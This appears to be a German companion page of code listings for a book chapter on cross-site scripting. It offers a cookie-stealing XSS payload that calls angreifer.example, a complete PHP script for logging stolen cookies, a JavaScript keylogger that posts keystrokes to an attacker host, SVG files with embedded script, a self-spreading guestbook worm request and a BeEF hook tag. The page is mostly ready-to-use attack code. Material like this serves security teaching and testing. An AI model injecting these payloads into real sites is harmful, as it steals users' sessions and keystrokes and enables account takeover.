Der über XSS einzuschleusende Code:
<script>document.location.replace('http://www.angreifer.example/cookie-sammler.php?geklautercookie='+document.cookie)</script>
Im URL müssen Sie www.angreifer.example durch den Server
ersetzen, auf dem das Skript cookie-sammler.php läuft.
Außerdem müssen natürlich auch der Pfad zum Skript
eingefügt werden, falls es nicht im Webroot-Verzeichnis liegt.
Der Inhalt von cookie-sammler.php (Listing 5.1):
<?php
// Daten sammeln
$geklautercookie = $_GET["geklautercookie"];
$ip = getenv ("REMOTE_ADDR");
$referer = getenv("HTTP_REFERER");
$datum = date("j. F Y, H:i");
// Eintrag zusammenstellen
$daten = "Cookie: ".$geklautercookie." <br>";
$daten = $daten."IP: ".$ip." <br>";
$daten = $daten."Referer: ".$referer." <br>";
$daten = $daten."Datum und Zeit: ".$datum." <br>";
$daten = $daten." <hr> <br>";
// Eintrag in Datei schreiben
$datei = fopen("geklaut.html", "a+");
fwrite($datei, $daten);
fclose($datei);
?>
Sie können das Skript auch direkt übernehmen: cookie-sammler.php.txt
Ausgabe von Tastendrücken in der Statuszeile des IE (Listing 5.2):
<script>
var keylog = 'Tastendrücke: ';
document.onkeypress = function () {
window.status = keylog += String.fromCharCode(window.event.keyCode);
}
</script>
Ein einfacher Keylogger (Listing 5.3)
<script>
var serviceURL = "http://www.angreifer.example/tasten-sammler.php";
var req = new XMLHttpRequest();
var keylog = '';
document.onkeypress = function () {
keylog += String.fromCharCode(window.event.keyCode);
sendeDaten(keylog)
}
function sendeDaten(daten) {
req.open("POST", serviceURL + "?tasten=" + encodeURIComponent(daten.value), true);
req.send(null);
}
</script>
Das Skript tasten-sammler.php können Sie sich bei Bedarf selbst
implementieren.
Statt der einzelnen Listings gibt es hier zwei Scanner zum Testen:
Vollständiger Sourcecode samt Beschreibung der drei vorgestellten Web-Würmer:
Samy: Beschreibung
und Sourcecode
Yamanner: Beschreibung
und Sourcecode
SVG-Bilder mit XSS-Angriff darin:
Zuerst eine valide SVG-Datei, mit XSS-Code, aber ganz ohne Bild:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
alert("Kein SVG-Bild, sondern ein XSS-Angriff!")
</script>
</svg>
Hier auch als SVG-Datei.
Und nun das ganze mit Bild dazu:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
alert("Kein SVG-Bild, sondern ein XSS-Angriff!")
</script>
<circle cx="50" cy="50" r="25" fill="#c32e04" onclick="meldung()" />
</svg>
Und ebenfalls als SVG-Datei.
Das ganze lässt sich auch noch weiter treiben: Hier ein "SVG-Bild" mit
onload-Event:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 440 250">
<defs>
<script type="text/javascript">
<![CDATA[
function meldung(){
alert('XSS-Angriff erfolgreich!');
}
]]>
</script>
</defs>
<circle cx="50" cy="50" r="25" fill="#c32e04" onload="meldung()" />
</svg>
Natürlich auch als SVG-Datei.
Und zum Abschluss noch ein "SVG-Bild" mit onload-Event:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 440 250">
<defs>
<script type="text/javascript">
<![CDATA[
function meldung(){
alert('SVG-Element wurde angeklickt!');
}
]]>
</script>
</defs>
<circle cx="50" cy="50" r="25" fill="#c32e04" onclick="meldung()" />
</svg>
Und zum letzten Mal eine SVG-Datei.
Der Code für den "Web-Wurm":
<img src="index.php?aktion=eintragen&titel=Der%20Wurm%20ist%20los!&text=Drin!">
Die Weboberfläche von BeEF finden Sie unter
http://172.16.177.130:3000/ui/panel
und der "Hook-Code", den Sie in die Webanwendung einschleusen müssen, lautet
<script src="http://172.16.177.130:3000/hook.js"></script>
Die IP-Adresse 172.16.177.130 müssen Sie natürlich
jeweils durch die von Ihrem Kali Linux ersetzen, der Port
.:3000 muss aber erhalten bleiben.